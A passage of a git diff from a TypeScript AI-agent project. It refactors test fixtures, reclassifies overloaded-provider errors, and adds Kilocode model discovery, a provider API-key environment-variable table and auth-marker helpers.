provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp, - }; + }); } function makeToolResult(timestamp: number, toolCallId: string, text: string): ToolResultMessage { @@ -229,27 +219,16 @@ describe("pruneHistoryForContextShare", () => { // all corresponding tool_results should be removed from kept messages const messages: AgentMessage[] = [ // Chunk 1 (will be dropped) - contains multiple tool_use blocks - { - role: "assistant", + makeAgentAssistantMessage({ content: [ { type: "text", text: "x".repeat(4000) }, { type: "toolCall", id: "call_a", name: "tool_a", arguments: {} }, { type: "toolCall", id: "call_b", name: "tool_b", arguments: {} }, ], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp: 1, - }, + }), // Chunk 2 (will be kept) - contains orphaned tool_results makeToolResult(2, "call_a", "result_a"), makeToolResult(3, "call_b", "result_b"), diff --git a/src/agents/compaction.tool-result-details.test.ts b/src/agents/compaction.tool-result-details.test.ts index 0570fc52bdb..48e16c073a9 100644 --- a/src/agents/compaction.tool-result-details.test.ts +++ b/src/agents/compaction.tool-result-details.test.ts @@ -1,6 +1,7 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { AssistantMessage, ToolResultMessage } from "@mariozechner/pi-ai"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; const piCodingAgentMocks = vi.hoisted(() => ({ generateSummary: vi.fn(async () => "summary"), @@ -21,23 +22,12 @@ vi.mock("@mariozechner/pi-coding-agent", async () => { import { isOversizedForSummary, summarizeWithFallback } from "./compaction.js"; function makeAssistantToolCall(timestamp: number): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [{ type: "toolCall", id: "call_1", name: "browser", arguments: { action: "tabs" } }], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "toolUse", timestamp, - }; + }); } function makeToolResultWithDetails(timestamp: number): ToolResultMessage<{ raw: string }> { @@ -64,7 +54,7 @@ describe("compaction toolResult details stripping", () => { messages, // Minimal shape; compaction won't use these fields in our mocked generateSummary. model: { id: "mock", name: "mock", contextWindow: 10000, maxTokens: 1000 } as never, - apiKey: "test", + apiKey: "test", // pragma: allowlist secret signal: new AbortController().signal, reserveTokens: 100, maxChunkTokens: 5000, diff --git a/src/agents/context.lookup.test.ts b/src/agents/context.lookup.test.ts index 81263481c34..584f9c27cbb 100644 --- a/src/agents/context.lookup.test.ts +++ b/src/agents/context.lookup.test.ts @@ -1,33 +1,37 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +function mockContextModuleDeps(loadConfigImpl: () => unknown) { + vi.doMock("../config/config.js", () => ({ + loadConfig: loadConfigImpl, + })); + vi.doMock("./models-config.js", () => ({ + ensureOpenClawModelsJson: vi.fn(async () => {}), + })); + vi.doMock("./agent-paths.js", () => ({ + resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", + })); + vi.doMock("./pi-model-discovery.js", () => ({ + discoverAuthStorage: vi.fn(() => ({})), + discoverModels: vi.fn(() => ({ + getAll: () => [], + })), + })); +} + describe("lookupContextTokens", () => { beforeEach(() => { vi.resetModules(); }); it("returns configured model context window on first lookup", async () => { - vi.doMock("../config/config.js", () => ({ - loadConfig: () => ({ - models: { - providers: { - openrouter: { - models: [{ id: "openrouter/claude-sonnet", contextWindow: 321_000 }], - }, + mockContextModuleDeps(() => ({ + models: { + providers: { + openrouter: { + models: [{ id: "openrouter/claude-sonnet", contextWindow: 321_000 }], }, }, - }), - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), + }, })); const { lookupContextTokens } = await import("./context.js"); @@ -36,21 +40,7 @@ describe("lookupContextTokens", () => { it("does not skip eager warmup when --profile is followed by -- terminator", async () => { const loadConfigMock = vi.fn(() => ({ models: {} })); - vi.doMock("../config/config.js", () => ({ - loadConfig: loadConfigMock, - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), - })); + mockContextModuleDeps(loadConfigMock); const argvSnapshot = process.argv; process.argv = ["node", "openclaw", "--profile", "--", "config", "validate"]; @@ -79,21 +69,7 @@ describe("lookupContextTokens", () => { }, })); - vi.doMock("../config/config.js", () => ({ - loadConfig: loadConfigMock, - })); - vi.doMock("./models-config.js", () => ({ - ensureOpenClawModelsJson: vi.fn(async () => {}), - })); - vi.doMock("./agent-paths.js", () => ({ - resolveOpenClawAgentDir: () => "/tmp/openclaw-agent", - })); - vi.doMock("./pi-model-discovery.js", () => ({ - discoverAuthStorage: vi.fn(() => ({})), - discoverModels: vi.fn(() => ({ - getAll: () => [], - })), - })); + mockContextModuleDeps(loadConfigMock); const argvSnapshot = process.argv; process.argv = ["node", "openclaw", "config", "validate"]; diff --git a/src/agents/failover-error.test.ts b/src/agents/failover-error.test.ts index 60e7510e67e..f581dd0ede2 100644 --- a/src/agents/failover-error.test.ts +++ b/src/agents/failover-error.test.ts @@ -75,7 +75,7 @@ describe("failover-error", () => { expect(resolveFailoverReasonFromError({ status: 522 })).toBeNull(); expect(resolveFailoverReasonFromError({ status: 523 })).toBeNull(); expect(resolveFailoverReasonFromError({ status: 524 })).toBeNull(); - expect(resolveFailoverReasonFromError({ status: 529 })).toBe("rate_limit"); + expect(resolveFailoverReasonFromError({ status: 529 })).toBe("overloaded"); }); it("classifies documented provider error shapes at the error boundary", () => { @@ -90,7 +90,7 @@ describe("failover-error", () => { status: 529, message: ANTHROPIC_OVERLOADED_PAYLOAD, }), - ).toBe("rate_limit"); + ).toBe("overloaded"); expect( resolveFailoverReasonFromError({ status: 429, @@ -126,7 +126,22 @@ describe("failover-error", () => { status: 503, message: GROQ_SERVICE_UNAVAILABLE_MESSAGE, }), + ).toBe("overloaded"); + }); + + it("keeps status-only 503s conservative unless the payload is clearly overloaded", () => { + expect( + resolveFailoverReasonFromError({ + status: 503, + message: "Internal database error", + }), ).toBe("timeout"); + expect( + resolveFailoverReasonFromError({ + status: 503, + message: '{"error":{"message":"The model is overloaded. Please try later"}}', + }), + ).toBe("overloaded"); }); it("treats 400 insufficient_quota payloads as billing instead of format", () => { @@ -151,6 +166,14 @@ describe("failover-error", () => { ).toBe("rate_limit"); }); + it("treats overloaded provider payloads as overloaded", () => { + expect( + resolveFailoverReasonFromError({ + message: ANTHROPIC_OVERLOADED_PAYLOAD, + }), + ).toBe("overloaded"); + }); + it("keeps raw-text 402 weekly/monthly limit errors in billing", () => { expect( resolveFailoverReasonFromError({ @@ -221,6 +244,10 @@ describe("failover-error", () => { expect(err?.model).toBe("claude-opus-4-5"); }); + it("maps overloaded to a 503 fallback status", () => { + expect(resolveFailoverStatus("overloaded")).toBe(503); + }); + it("coerces format errors with a 400 status", () => { const err = coerceToFailoverError("invalid request format", { provider: "google", diff --git a/src/agents/failover-error.ts b/src/agents/failover-error.ts index 5c16d3508fd..a39685e1b16 100644 --- a/src/agents/failover-error.ts +++ b/src/agents/failover-error.ts @@ -49,6 +49,8 @@ export function resolveFailoverStatus(reason: FailoverReason): number | undefine return 402; case "rate_limit": return 429; + case "overloaded": + return 503; case "auth": return 401; case "auth_permanent": diff --git a/src/agents/kilocode-models.test.ts b/src/agents/kilocode-models.test.ts new file mode 100644 index 00000000000..f092baa7ca4 --- /dev/null +++ b/src/agents/kilocode-models.test.ts @@ -0,0 +1,229 @@ +import { describe, expect, it, vi } from "vitest"; +import { discoverKilocodeModels, KILOCODE_MODELS_URL } from "./kilocode-models.js"; + +// discoverKilocodeModels checks for VITEST env and returns static catalog, +// so we need to temporarily unset it to test the fetch path. + +function makeGatewayModel(overrides: Record = {}) { + return { + id: "anthropic/claude-sonnet-4", + name: "Anthropic: Claude Sonnet 4", + created: 1700000000, + description: "A model", + context_length: 200000, + architecture: { + input_modalities: ["text", "image"], + output_modalities: ["text"], + tokenizer: "Claude", + }, + top_provider: { + is_moderated: false, + max_completion_tokens: 8192, + }, + pricing: { + prompt: "0.000003", + completion: "0.000015", + input_cache_read: "0.0000003", + input_cache_write: "0.00000375", + }, + supported_parameters: ["max_tokens", "temperature", "tools", "reasoning"], + ...overrides, + }; +} + +function makeAutoModel(overrides: Record = {}) { + return makeGatewayModel({ + id: "kilo/auto", + name: "Kilo: Auto", + context_length: 1000000, + architecture: { + input_modalities: ["text", "image"], + output_modalities: ["text"], + tokenizer: "Other", + }, + top_provider: { + is_moderated: false, + max_completion_tokens: 128000, + }, + pricing: { + prompt: "0.000005", + completion: "0.000025", + }, + supported_parameters: ["max_tokens", "temperature", "tools", "reasoning", "include_reasoning"], + ...overrides, + }); +} + +async function withFetchPathTest( + mockFetch: ReturnType, + runAssertions: () => Promise, +) { + const origNodeEnv = process.env.NODE_ENV; + const origVitest = process.env.VITEST; + delete process.env.NODE_ENV; + delete process.env.VITEST; + + vi.stubGlobal("fetch", mockFetch); + + try { + await runAssertions(); + } finally { + if (origNodeEnv === undefined) { + delete process.env.NODE_ENV; + } else { + process.env.NODE_ENV = origNodeEnv; + } + if (origVitest === undefined) { + delete process.env.VITEST; + } else { + process.env.VITEST = origVitest; + } + vi.unstubAllGlobals(); + } +} + +describe("discoverKilocodeModels", () => { + it("returns static catalog in test environment", async () => { + // Default vitest env — should return static catalog without fetching + const models = await discoverKilocodeModels(); + expect(models.length).toBeGreaterThan(0); + expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + }); + + it("static catalog has correct defaults for kilo/auto", async () => { + const models = await discoverKilocodeModels(); + const auto = models.find((m) => m.id === "kilo/auto"); + expect(auto).toBeDefined(); + expect(auto?.name).toBe("Kilo Auto"); + expect(auto?.reasoning).toBe(true); + expect(auto?.input).toEqual(["text", "image"]); + expect(auto?.contextWindow).toBe(1000000); + expect(auto?.maxTokens).toBe(128000); + expect(auto?.cost).toEqual({ input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }); + }); +}); + +describe("discoverKilocodeModels (fetch path)", () => { + it("parses gateway models with correct pricing conversion", async () => { + const mockFetch = vi.fn().mockResolvedValue({ + ok: true, + json: () => + Promise.resolve({ + data: [makeAutoModel(), makeGatewayModel()], + }), + }); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + + // Should have fetched from the gateway URL + expect(mockFetch).toHaveBeenCalledWith( + KILOCODE_MODELS_URL, + expect.objectContaining({ + headers: { Accept: "application/json" }, + }), + ); + + // Should have both models + expect(models.length).toBe(2); + + // Verify the sonnet model pricing (per-token * 1_000_000 = per-1M-token) + const sonnet = models.find((m) => m.id === "anthropic/claude-sonnet-4"); + expect(sonnet).toBeDefined(); + expect(sonnet?.cost.input).toBeCloseTo(3.0); // 0.000003 * 1_000_000 + expect(sonnet?.cost.output).toBeCloseTo(15.0); // 0.000015 * 1_000_000 + expect(sonnet?.cost.cacheRead).toBeCloseTo(0.3); // 0.0000003 * 1_000_000 + expect(sonnet?.cost.cacheWrite).toBeCloseTo(3.75); // 0.00000375 * 1_000_000 + + // Verify modality + expect(sonnet?.input).toEqual(["text", "image"]); + + // Verify reasoning detection + expect(sonnet?.reasoning).toBe(true); + + // Verify context/tokens + expect(sonnet?.contextWindow).toBe(200000); + expect(sonnet?.maxTokens).toBe(8192); + }); + }); + + it("falls back to static catalog on network error", async () => { + const mockFetch = vi.fn().mockRejectedValue(new Error("network error")); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + expect(models.length).toBeGreaterThan(0); + expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + }); + }); + + it("falls back to static catalog on HTTP error", async () => { + const mockFetch = vi.fn().mockResolvedValue({ + ok: false, + status: 500, + }); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + expect(models.length).toBeGreaterThan(0); + expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + }); + }); + + it("ensures kilo/auto is present even when API doesn't return it", async () => { + const mockFetch = vi.fn().mockResolvedValue({ + ok: true, + json: () => + Promise.resolve({ + data: [makeGatewayModel()], // no kilo/auto + }), + }); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + expect(models.some((m) => m.id === "kilo/auto")).toBe(true); + expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + }); + }); + + it("detects text-only models without image modality", async () => { + const textOnlyModel = makeGatewayModel({ + id: "some/text-model", + architecture: { + input_modalities: ["text"], + output_modalities: ["text"], + }, + supported_parameters: ["max_tokens", "temperature"], + }); + + const mockFetch = vi.fn().mockResolvedValue({ + ok: true, + json: () => Promise.resolve({ data: [textOnlyModel] }), + }); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + const textModel = models.find((m) => m.id === "some/text-model"); + expect(textModel?.input).toEqual(["text"]); + expect(textModel?.reasoning).toBe(false); + }); + }); + + it("keeps a later valid duplicate when an earlier entry is malformed", async () => { + const malformedAutoModel = makeAutoModel({ + name: "Broken Kilo Auto", + pricing: undefined, + }); + + const mockFetch = vi.fn().mockResolvedValue({ + ok: true, + json: () => + Promise.resolve({ + data: [malformedAutoModel, makeAutoModel(), makeGatewayModel()], + }), + }); + await withFetchPathTest(mockFetch, async () => { + const models = await discoverKilocodeModels(); + const auto = models.find((m) => m.id === "kilo/auto"); + expect(auto).toBeDefined(); + expect(auto?.name).toBe("Kilo: Auto"); + expect(auto?.cost.input).toBeCloseTo(5.0); + expect(models.some((m) => m.id === "anthropic/claude-sonnet-4")).toBe(true); + }); + }); +}); diff --git a/src/agents/kilocode-models.ts b/src/agents/kilocode-models.ts new file mode 100644 index 00000000000..5b3c48ffa27 --- /dev/null +++ b/src/agents/kilocode-models.ts @@ -0,0 +1,190 @@ +import type { ModelDefinitionConfig } from "../config/types.js"; +import { createSubsystemLogger } from "../logging/subsystem.js"; +import { + KILOCODE_BASE_URL, + KILOCODE_DEFAULT_CONTEXT_WINDOW, + KILOCODE_DEFAULT_COST, + KILOCODE_DEFAULT_MAX_TOKENS, + KILOCODE_MODEL_CATALOG, +} from "../providers/kilocode-shared.js"; + +const log = createSubsystemLogger("kilocode-models"); + +export const KILOCODE_MODELS_URL = `${KILOCODE_BASE_URL}models`; + +const DISCOVERY_TIMEOUT_MS = 5000; + +// --------------------------------------------------------------------------- +// Gateway response types (OpenRouter-compatible schema) +// --------------------------------------------------------------------------- + +interface GatewayModelPricing { + prompt: string; + completion: string; + image?: string; + request?: string; + input_cache_read?: string; + input_cache_write?: string; + web_search?: string; + internal_reasoning?: string; +} + +interface GatewayModelEntry { + id: string; + name: string; + context_length: number; + architecture?: { + input_modalities?: string[]; + output_modalities?: string[]; + }; + top_provider?: { + max_completion_tokens?: number | null; + }; + pricing: GatewayModelPricing; + supported_parameters?: string[]; +} + +interface GatewayModelsResponse { + data: GatewayModelEntry[]; +} + +// --------------------------------------------------------------------------- +// Pricing conversion +// --------------------------------------------------------------------------- + +/** + * Convert per-token price (as returned by the gateway) to per-1M-token price + * (as stored in OpenClaw's ModelDefinitionConfig.cost). + * + * Gateway/OpenRouter prices are per-token strings like "0.000005". + * OpenClaw costs are per-1M-token numbers like 5.0. + */ +function toPricePerMillion(perToken: string | undefined): number { + if (!perToken) { + return 0; + } + const num = Number(perToken); + if (!Number.isFinite(num) || num < 0) { + return 0; + } + return num * 1_000_000; +} + +// --------------------------------------------------------------------------- +// Model parsing +// --------------------------------------------------------------------------- + +function parseModality(entry: GatewayModelEntry): Array<"text" | "image"> { + const modalities = entry.architecture?.input_modalities; + if (!Array.isArray(modalities)) { + return ["text"]; + } + const hasImage = modalities.some((m) => typeof m === "string" && m.toLowerCase() === "image"); + return hasImage ? ["text", "image"] : ["text"]; +} + +function parseReasoning(entry: GatewayModelEntry): boolean { + const params = entry.supported_parameters; + if (!Array.isArray(params)) { + return false; + } + return params.includes("reasoning") || params.includes("include_reasoning"); +} + +function toModelDefinition(entry: GatewayModelEntry): ModelDefinitionConfig { + return { + id: entry.id, + name: entry.name || entry.id, + reasoning: parseReasoning(entry), + input: parseModality(entry), + cost: { + input: toPricePerMillion(entry.pricing.prompt), + output: toPricePerMillion(entry.pricing.completion), + cacheRead: toPricePerMillion(entry.pricing.input_cache_read), + cacheWrite: toPricePerMillion(entry.pricing.input_cache_write), + }, + contextWindow: entry.context_length || KILOCODE_DEFAULT_CONTEXT_WINDOW, + maxTokens: entry.top_provider?.max_completion_tokens ?? KILOCODE_DEFAULT_MAX_TOKENS, + }; +} + +// --------------------------------------------------------------------------- +// Static fallback +// --------------------------------------------------------------------------- + +function buildStaticCatalog(): ModelDefinitionConfig[] { + return KILOCODE_MODEL_CATALOG.map((model) => ({ + id: model.id, + name: model.name, + reasoning: model.reasoning, + input: model.input, + cost: KILOCODE_DEFAULT_COST, + contextWindow: model.contextWindow ?? KILOCODE_DEFAULT_CONTEXT_WINDOW, + maxTokens: model.maxTokens ?? KILOCODE_DEFAULT_MAX_TOKENS, + })); +} + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +/** + * Discover models from the Kilo Gateway API with fallback to static catalog. + * The /api/gateway/models endpoint is public and doesn't require authentication. + */ +export async function discoverKilocodeModels(): Promise { + // Skip API discovery in test environment + if (process.env.NODE_ENV === "test" || process.env.VITEST) { + return buildStaticCatalog(); + } + + try { + const response = await fetch(KILOCODE_MODELS_URL, { + headers: { Accept: "application/json" }, + signal: AbortSignal.timeout(DISCOVERY_TIMEOUT_MS), + }); + + if (!response.ok) { + log.warn(`Failed to discover models: HTTP ${response.status}, using static catalog`); + return buildStaticCatalog(); + } + + const data = (await response.json()) as GatewayModelsResponse; + if (!Array.isArray(data.data) || data.data.length === 0) { + log.warn("No models found from gateway API, using static catalog"); + return buildStaticCatalog(); + } + + const models: ModelDefinitionConfig[] = []; + const discoveredIds = new Set(); + + for (const entry of data.data) { + if (!entry || typeof entry !== "object") { + continue; + } + const id = typeof entry.id === "string" ? entry.id.trim() : ""; + if (!id || discoveredIds.has(id)) { + continue; + } + try { + models.push(toModelDefinition(entry)); + discoveredIds.add(id); + } catch (e) { + log.warn(`Skipping malformed model entry "${id}": ${String(e)}`); + } + } + + // Ensure the static fallback models are always present + const staticModels = buildStaticCatalog(); + for (const staticModel of staticModels) { + if (!discoveredIds.has(staticModel.id)) { + models.unshift(staticModel); + } + } + + return models.length > 0 ? models : buildStaticCatalog(); + } catch (error) { + log.warn(`Discovery failed: ${String(error)}, using static catalog`); + return buildStaticCatalog(); + } +} diff --git a/src/agents/memory-search.test.ts b/src/agents/memory-search.test.ts index 6fab1dd3946..9372b4c7696 100644 --- a/src/agents/memory-search.test.ts +++ b/src/agents/memory-search.test.ts @@ -188,7 +188,7 @@ describe("memory search config", () => { provider: "openai", remote: { baseUrl: "https://default.example/v1", - apiKey: "default-key", + apiKey: "default-key", // pragma: allowlist secret headers: { "X-Default": "on" }, }, }, @@ -209,7 +209,7 @@ describe("memory search config", () => { const resolved = resolveMemorySearchConfig(cfg, "main"); expect(resolved?.remote).toEqual({ baseUrl: "https://agent.example/v1", - apiKey: "default-key", + apiKey: "default-key", // pragma: allowlist secret headers: { "X-Default": "on" }, batch: { enabled: false, @@ -228,7 +228,7 @@ describe("memory search config", () => { memorySearch: { provider: "openai", remote: { - apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, // pragma: allowlist secret headers: { "X-Default": "on" }, }, }, diff --git a/src/agents/minimax-vlm.normalizes-api-key.test.ts b/src/agents/minimax-vlm.normalizes-api-key.test.ts index effebb88816..faa33b8682c 100644 --- a/src/agents/minimax-vlm.normalizes-api-key.test.ts +++ b/src/agents/minimax-vlm.normalizes-api-key.test.ts @@ -3,30 +3,31 @@ import { withFetchPreconnect } from "../test-utils/fetch-mock.js"; describe("minimaxUnderstandImage apiKey normalization", () => { const priorFetch = global.fetch; + const apiResponse = JSON.stringify({ + base_resp: { status_code: 0, status_msg: "ok" }, + content: "ok", + }); afterEach(() => { global.fetch = priorFetch; vi.restoreAllMocks(); }); - it("strips embedded CR/LF before sending Authorization header", async () => { + async function runNormalizationCase(apiKey: string) { const fetchSpy = vi.fn(async (_input: RequestInfo | URL, init?: RequestInit) => { const auth = (init?.headers as Record | undefined)?.Authorization; expect(auth).toBe("Bearer minimax-test-key"); - return new Response( - JSON.stringify({ - base_resp: { status_code: 0, status_msg: "ok" }, - content: "ok", - }), - { status: 200, headers: { "Content-Type": "application/json" } }, - ); + return new Response(apiResponse, { + status: 200, + headers: { "Content-Type": "application/json" }, + }); }); global.fetch = withFetchPreconnect(fetchSpy); const { minimaxUnderstandImage } = await import("./minimax-vlm.js"); const text = await minimaxUnderstandImage({ - apiKey: "minimax-test-\r\nkey", + apiKey, prompt: "hi", imageDataUrl: "data:image/png;base64,AAAA", apiHost: "https://api.minimax.io", @@ -34,32 +35,13 @@ describe("minimaxUnderstandImage apiKey normalization", () => { expect(text).toBe("ok"); expect(fetchSpy).toHaveBeenCalled(); + } + + it("strips embedded CR/LF before sending Authorization header", async () => { + await runNormalizationCase("minimax-test-\r\nkey"); }); it("drops non-Latin1 characters from apiKey before sending Authorization header", async () => { - const fetchSpy = vi.fn(async (_input: RequestInfo | URL, init?: RequestInit) => { - const auth = (init?.headers as Record | undefined)?.Authorization; - expect(auth).toBe("Bearer minimax-test-key"); - - return new Response( - JSON.stringify({ - base_resp: { status_code: 0, status_msg: "ok" }, - content: "ok", - }), - { status: 200, headers: { "Content-Type": "application/json" } }, - ); - }); - global.fetch = withFetchPreconnect(fetchSpy); - - const { minimaxUnderstandImage } = await import("./minimax-vlm.js"); - const text = await minimaxUnderstandImage({ - apiKey: "minimax-\u0417\u2502test-key", - prompt: "hi", - imageDataUrl: "data:image/png;base64,AAAA", - apiHost: "https://api.minimax.io", - }); - - expect(text).toBe("ok"); - expect(fetchSpy).toHaveBeenCalled(); + await runNormalizationCase("minimax-\u0417\u2502test-key"); }); }); diff --git a/src/agents/model-auth-env-vars.ts b/src/agents/model-auth-env-vars.ts new file mode 100644 index 00000000000..c366138207c --- /dev/null +++ b/src/agents/model-auth-env-vars.ts @@ -0,0 +1,42 @@ +export const PROVIDER_ENV_API_KEY_CANDIDATES: Record = { + "github-copilot": ["COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"], + anthropic: ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"], + chutes: ["CHUTES_OAUTH_TOKEN", "CHUTES_API_KEY"], + zai: ["ZAI_API_KEY", "Z_AI_API_KEY"], + opencode: ["OPENCODE_API_KEY", "OPENCODE_ZEN_API_KEY"], + "qwen-portal": ["QWEN_OAUTH_TOKEN", "QWEN_PORTAL_API_KEY"], + volcengine: ["VOLCANO_ENGINE_API_KEY"], + "volcengine-plan": ["VOLCANO_ENGINE_API_KEY"], + byteplus: ["BYTEPLUS_API_KEY"], + "byteplus-plan": ["BYTEPLUS_API_KEY"], + "minimax-portal": ["MINIMAX_OAUTH_TOKEN", "MINIMAX_API_KEY"], + "kimi-coding": ["KIMI_API_KEY", "KIMICODE_API_KEY"], + huggingface: ["HUGGINGFACE_HUB_TOKEN", "HF_TOKEN"], + openai: ["OPENAI_API_KEY"], + google: ["GEMINI_API_KEY"], + voyage: ["VOYAGE_API_KEY"], + groq: ["GROQ_API_KEY"], + deepgram: ["DEEPGRAM_API_KEY"], + cerebras: ["CEREBRAS_API_KEY"], + xai: ["XAI_API_KEY"], + openrouter: ["OPENROUTER_API_KEY"], + litellm: ["LITELLM_API_KEY"], + "vercel-ai-gateway": ["AI_GATEWAY_API_KEY"], + "cloudflare-ai-gateway": ["CLOUDFLARE_AI_GATEWAY_API_KEY"], + moonshot: ["MOONSHOT_API_KEY"], + minimax: ["MINIMAX_API_KEY"], + nvidia: ["NVIDIA_API_KEY"], + xiaomi: ["XIAOMI_API_KEY"], + synthetic: ["SYNTHETIC_API_KEY"], + venice: ["VENICE_API_KEY"], + mistral: ["MISTRAL_API_KEY"], + together: ["TOGETHER_API_KEY"], + qianfan: ["QIANFAN_API_KEY"], + ollama: ["OLLAMA_API_KEY"], + vllm: ["VLLM_API_KEY"], + kilocode: ["KILOCODE_API_KEY"], +}; + +export function listKnownProviderEnvApiKeyNames(): string[] { + return [...new Set(Object.values(PROVIDER_ENV_API_KEY_CANDIDATES).flat())]; +} diff --git a/src/agents/model-auth-label.test.ts b/src/agents/model-auth-label.test.ts index 85fa4bc43fb..a46eebbbc34 100644 --- a/src/agents/model-auth-label.test.ts +++ b/src/agents/model-auth-label.test.ts @@ -32,7 +32,7 @@ describe("resolveModelAuthLabel", () => { "github-copilot:default": { type: "token", provider: "github-copilot", - token: "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + token: "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", // pragma: allowlist secret tokenRef: { source: "env", provider: "default", id: "GITHUB_TOKEN" }, }, }, @@ -52,7 +52,7 @@ describe("resolveModelAuthLabel", () => { }); it("does not include api-key value in label for api-key profiles", () => { - const shortSecret = "abc123"; + const shortSecret = "abc123"; // pragma: allowlist secret ensureAuthProfileStoreMock.mockReturnValue({ version: 1, profiles: { diff --git a/src/agents/model-auth-markers.test.ts b/src/agents/model-auth-markers.test.ts new file mode 100644 index 00000000000..e2225588df7 --- /dev/null +++ b/src/agents/model-auth-markers.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from "vitest"; +import { listKnownProviderEnvApiKeyNames } from "./model-auth-env-vars.js"; +import { isNonSecretApiKeyMarker, NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; + +describe("model auth markers", () => { + it("recognizes explicit non-secret markers", () => { + expect(isNonSecretApiKeyMarker(NON_ENV_SECRETREF_MARKER)).toBe(true); + expect(isNonSecretApiKeyMarker("qwen-oauth")).toBe(true); + expect(isNonSecretApiKeyMarker("ollama-local")).toBe(true); + }); + + it("recognizes known env marker names but not arbitrary all-caps keys", () => { + expect(isNonSecretApiKeyMarker("OPENAI_API_KEY")).toBe(true); + expect(isNonSecretApiKeyMarker("ALLCAPS_EXAMPLE")).toBe(false); + }); + + it("recognizes all built-in provider env marker names", () => { + for (const envVarName of listKnownProviderEnvApiKeyNames()) { + expect(isNonSecretApiKeyMarker(envVarName)).toBe(true); + } + }); + + it("can exclude env marker-name interpretation for display-only paths", () => { + expect(isNonSecretApiKeyMarker("OPENAI_API_KEY", { includeEnvVarName: false })).toBe(false); + }); +}); diff --git a/src/agents/model-auth-markers.ts b/src/agents/model-auth-markers.ts new file mode 100644 index 00000000000..0b3b4960eb8 --- /dev/null +++ b/src/agents/model-auth-markers.ts @@ -0,0 +1,80 @@ +import type { SecretRefSource } from "../config/types.secrets.js"; +import { listKnownProviderEnvApiKeyNames } from "./model-auth-env-vars.js"; + +export const MINIMAX_OAUTH_MARKER = "minimax-oauth"; +export const QWEN_OAUTH_MARKER = "qwen-oauth"; +export const OLLAMA_LOCAL_AUTH_MARKER = "ollama-local"; +export const NON_ENV_SECRETREF_MARKER = "secretref-managed"; // pragma: allowlist secret +export const SECRETREF_ENV_HEADER_MARKER_PREFIX = "secretref-env:"; // pragma: allowlist secret + +const AWS_SDK_ENV_MARKERS = new Set([ + "AWS_BEARER_TOKEN_BEDROCK", + "AWS_ACCESS_KEY_ID", + "AWS_PROFILE", +]); + +// Legacy marker names kept for backward compatibility with existing models.json files. +const LEGACY_ENV_API_KEY_MARKERS = [ + "GOOGLE_API_KEY", + "DEEPSEEK_API_KEY", + "PERPLEXITY_API_KEY", + "FIREWORKS_API_KEY", + "NOVITA_API_KEY", + "AZURE_OPENAI_API_KEY", + "AZURE_API_KEY", + "MINIMAX_CODE_PLAN_KEY", +]; + +const KNOWN_ENV_API_KEY_MARKERS = new Set([ + ...listKnownProviderEnvApiKeyNames(), + ...LEGACY_ENV_API_KEY_MARKERS, + ...AWS_SDK_ENV_MARKERS, +]); + +export function isAwsSdkAuthMarker(value: string): boolean { + return AWS_SDK_ENV_MARKERS.has(value.trim()); +} + +export function resolveNonEnvSecretRefApiKeyMarker(_source: SecretRefSource): string { + return NON_ENV_SECRETREF_MARKER; +} + +export function resolveNonEnvSecretRefHeaderValueMarker(_source: SecretRefSource): string { + return NON_ENV_SECRETREF_MARKER; +} + +export function resolveEnvSecretRefHeaderValueMarker(envVarName: string): string { + return `${SECRETREF_ENV_HEADER_MARKER_PREFIX}${envVarName.trim()}`; +} + +export function isSecretRefHeaderValueMarker(value: string): boolean { + const trimmed = value.trim(); + return ( + trimmed === NON_ENV_SECRETREF_MARKER || trimmed.startsWith(SECRETREF_ENV_HEADER_MARKER_PREFIX) + ); +} + +export function isNonSecretApiKeyMarker( + value: string, + opts?: { includeEnvVarName?: 